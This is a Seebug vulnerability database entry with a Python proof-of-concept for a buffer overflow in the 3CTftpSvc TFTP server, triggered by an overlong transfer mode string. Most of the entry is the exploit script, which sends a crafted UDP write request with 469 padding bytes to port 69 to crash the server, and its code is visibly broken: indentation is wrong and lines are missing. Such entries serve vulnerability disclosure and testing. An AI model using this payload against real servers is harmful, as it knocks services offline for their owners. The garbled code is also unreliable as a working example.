3CTftpSvc <= 2.0.1 (Long Transporting Mode) Buffer Overflow PoC

ID SSV:5628
Type seebug
Reporter Root
Modified 2006-11-28T00:00:00


No description provided by source.

# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
# Requires python and impacket
# Coded by Liu Qixu Of NCNIPC


# 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://support.3com.com/software/utilities_for_windows_32_bit.htm
# or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
# It provides an implementation of the TFTPv2 protocol.

# A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers 
# to execute arbitrary commands or cause a denial of service. This flaw is 
# due to a buffer overflow error when handling an overly long transporting 
# mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could 
# be exploited by malicious users to compromise a vulnerable system or crash 
# an affected application.


import socket
import sys

host = ''
port = 69

   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   print "socket() failed"

filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))